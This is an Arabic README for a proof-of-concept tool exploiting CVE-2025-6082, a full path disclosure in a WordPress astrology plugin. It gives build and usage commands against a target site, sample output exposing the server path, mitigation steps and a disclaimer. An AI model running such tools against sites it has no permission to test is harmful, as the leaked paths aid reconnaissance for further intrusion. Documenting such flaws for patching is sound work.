
إثبات المفهوم الذي يستغل ثغرة الكشف الكامل عن المسار في إضافة “Birth Chart Compatibility” لووردبريس (<=v2.0)
المؤلف: Byte Reaper
تيليغرام: @ByteReaper0
CVE: CVE-2025-6082
الثغرة: الكشف عن المسار الكامل (CWE-200)
يستغل إثبات المفهوم هذا ثغرة الكشف عن المسار الكامل في إضافة Birth Chart Compatibility لووردبريس (الإصدارات ≤ 2.0). يرسل الـPoC طلب HTTP GET إلى نقطة النهاية index.php الخاصة بالإضافة، ويلتقط أي تحذير PHP أو خطأ فادح، ويستخرج مسار نظام الملفات الخاص بالخادم (مثل /var/www/html/wp-content/plugins/... أو C:\xampp\htdocs\...).
يساعد الكشف عن المسار الكامل المهاجم في ربط المزيد من هجمات تضمين الملفات المحلية (LFI) أو تنفيذ الأكواد عن بُعد (RCE) أو غيرها من هجمات الاستطلاع.
gcc أو مترجم C متوافقlibcurlargparse.c / argparse.hgcc -o fpd-poc exploit.c argparse.c -lcurl
./fpd-poc -u https://target.com [options]
الخيارات:
-u, --url (مطلوب) عنوان URL الأساسي لموقع ووردبريس المستهدف
-c, --cookies استخدام ملفات تعريف الارتباط من FILE (اختياري)
-v, --verbose تفعيل إخراج curl المفصل
-f, --loop تكرار الطلب N مرة (مثال: -f 10)
-h, --help عرض رسالة المساعدة هذه
مثال:
./fpd-poc -u https://victim.com
./fpd-poc -u https://victim.com -v -f 5 نموذج الإخراج:
[+] Request sent successfully
[+] Input Url : https://victim.com
[+] Full Format Url: https://victim.com/wp-content/plugins/birth-chart-compatibility/index.php
[+] Http Code : 200
====================================[Response]====================================
Warning: include(/var/www/html/wp-content/plugins/birth-chart-compatibility/missing.php): failed to open stream...
[+] Response Len : 256
[+] Keyword found: Warning:
[+] Context: Warning: include(/var/www/html/wp-content/plugins/birth-chart-compatibility/missing.php
قم بتحديث إضافة “Birth Chart Compatibility” إلى إصدار مصحح (> 2.0) فور صدوره.
قم بتعطيل الإضافة أو إزالتها إذا كنت لا تستخدمها.
امنع الوصول المباشر إلى ملفات PHP الخاصة بالإضافة (index.php) من خلال إعدادات خادم الويب الخاص بك (عبر قواعد .htaccess أو Nginx).
إخلاء مسؤولية تم تقديم هذا الكود لأغراض تعليمية واختبارية فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها قد يكون غير قانوني.